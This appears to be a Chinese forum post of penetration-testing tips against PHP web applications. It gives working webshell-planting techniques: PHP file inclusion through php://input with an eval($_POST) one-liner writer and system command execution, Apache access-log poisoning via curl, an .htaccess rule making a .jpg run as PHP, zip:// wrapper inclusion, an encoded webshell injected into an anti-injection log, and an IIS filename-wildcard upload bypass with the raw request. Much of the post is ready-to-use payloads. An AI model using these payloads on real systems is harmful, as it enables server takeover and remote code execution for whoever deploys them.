Author: Binghe@i春秋

前言:

总结下渗透测试中的一些小技巧,仅做总结。

目录:

0x01 php文件包含姿势 0x02 .htaccess文件突破黑名单解析 0x03 php流封装绕过截断 0x04 通用防注入系统getshell 0x05 iis+php黑名单上传突破

正文

0x01 php文件包含姿势

其实这类姿势国外黑阔早有总结:

(包含其他由php应用创建的文件,只要你能想到的,都可以尝试创建 然后包含他,比如数据库文件,缓存文件,应用程序级别的日志)

我们来主要说下第二种和第三种姿势 php://input属于php内置的封装协议,其实都主要是include()函数处理不当 这里我们准备一个有文件包含的php文件

<?php
  include($_GET['url']);
 ?>

我们访问 http://127.0.0.1/111332.php?url=php://input 然后我们通过POST提交php代码。 黑阔可利用此写入一句话木马:

<?php fwrite(fopen("xxx.php","w"),'<?php eval($_POST["cc"]);?>');?>

同理,提交:

<?php system("net user")?>

可成功通过system函数成功执行命令。

第三种姿势也是比较巧妙:

包含日志文件getshell(需要一定读权限)

首先找到日志文件存放位置,利用文件包含漏洞去读取
apache 日志默认在
/etc/httpd/logs/access_log

也可以先找apache配置文件,通过任意文件读取漏洞配置文件找到日志路径
/etc/httpd/conf/httpd.conf

让日志文件插入php代码 


方法一 
使用burpsuit抓包访问 ,绕过浏览器编码<>

方法二 
curl 访问不存在的url

curl http://192.168.192.1/a.php?=<?php phpinfo(); ?>

如此,php代码就被写到log里面了 包含一下日志:

http://172.16.77.145/lfi/1/index.php?page=/etc/httpd/logs/access_log

0x02 .htaccess文件突破黑名单解析

因为是黑名单,自定义.htaccess上传,下面是内容

<FileMatch “test.jpg”>

SetHandler application/x-httpd-php

</FileMatch>

同目录下,上传一个test.jpg文件,没有扩展名,内容是一句话,这个时候就成功绕过。

0x03 php流封装绕过截断

思路源于王松童鞋 @王松_striker 思路主要是利用了PHP的一个流封装的特性,可以参考PHP官方文档中的Example #3

Example #3 Zip 流封装,读取一个OpenOffice 文件的元信息

<?php
$reader = new XMLReader();
 
$reader->open('zip://' . dirname(__FILE__) . '/test.odt#meta.xml');
$odt_meta = array();
while ($reader->read()) {
    if ($reader->nodeType == XMLREADER::ELEMENT) {
        $elm = $reader->name;
    } else {
        if ($reader->nodeType == XMLREADER::END_ELEMENT && $reader->name == 'office:meta') {
            break;
        }
        if (!trim($reader->value)) {
            continue;
        }
        $odt_meta[$elm] = $reader->value;
    }
}
print_r($odt_meta);
?>

此例使用了旧的 API(PHP 4),它打开了一个 ZIP 文件归档,读取归档里的每个文件,并输出文件内容。此例用到的 test2.zip 文档是 ZZIPlib 源分布里测试文档中的一个。 假设存在文件包含的代码为:

<?php
  
$a = $_GET['file'];
  
include $a.'.html.php';

但是我们%00无法截断, 只能包含 xxxx.html.php 首先我们新建一个hello.html.php,内容为phpinfo();

然后压缩成zip,结构如下图:

然后访问如下网址,成功包含压缩文件内的hello.html.php http://localhost/test/blog.php?file=zip://test.zip%23hello

如图:

把我们输入的变量和include后面的变量合起来就是 zip://test.zip#hello.html.php

代表当前目录下的test.zip压缩包里面的hello.html.php,于是包含成功。

0x04 通用防注入系统getshell

相信许多朋友渗透测试都遇到过这种情况

系统做了数据提交记录,我们通过阅读类似程序的源码得知数据记录在sqlin.asp

于是想到直接提交一句话木马。但是没有成功

┼攠數畣整爠煥敵瑳∨≡┩愾           密码 a  (加密方式是:ANSI->Unicode)

提交 and 1= ┼攠數畣整爠煥敵瑳∨≡┩愾

菜刀连接sqlin.php即可

0x05 iis+php黑名单上传突破

环境: php+window+iis

局限: 文件上传黑名单机制,略显鸡肋

科普: 在php+window+iis环境下:

双引号(“>”) <==> 点号(“.”)’;

大于符号(“>”) <==> 问号(“?”)’;

小于符号(“<“) <==> 星号(“*”)’;

有这么好玩的东西,那不就可以做太多的事了?但事实并不是这样,通过一系列的测试发现,该特性只能用于文件上传时覆盖已知的文件,于是这特性便略显鸡肋.

不过P牛已经给出完美利用的方法:

思路如下:

首先我们先利用特殊办法生成一个php文件,然后再利用这个特性将文件覆盖..

可问题又来了,怎样生成php文件呢?如果可以直接生成php文件的话,干嘛还要利用那什么特性?

别急,办法总是有的..

我们都知道在文件上传时,我们往往会考虑到文件名截断,如%00 等..

对!有的人可能还会用冒号(“:”)去截断,如:bypass.php:jpg

但是你知道吗?冒号截断产生的文件是空白的,里面并不会有任何的内容,呵呵说到这里明白了没有? 虽然生成的php文件里面没有内容,但是php文件总生成了吧,所以我们可以结合上面所说的特性完美成功利用.

按照上面提供的思路,实现..

本地测试地址:http://.../upfile.php 环境:Windows+IIS7.5

1)首先利用冒号生成我们将要覆盖的php文件,这里为:bypass.php,如图

点击forward后,可以看见成功生成空白的bypass.php文件

2)利用上面的系统特性覆盖该文件 从上面已经知道“<” 就等于 “”,而””代码任意字符,于是乎..

我们可以这样修改上传的文件名,如下:

------WebKitFormBoundaryaaRARrn2LBvpvcwK</pre>
Content-Disposition: form-data; name="file"; filename="bypass.<<<"
  
Content-Type: image/jpeg
  
//注意文件名为bypass.<<<

点击go..,即可成功覆盖bypass.php文件,如图

对比上面的两个图,bypass.php被我们成功的写入了内容..

参考资料:乌云知识库 binghesec Phithon 王松

原文地址:http://bbs.ichunqiu.com/thread-14031-1-1.html?from=seebug


源链接

Hacking more

...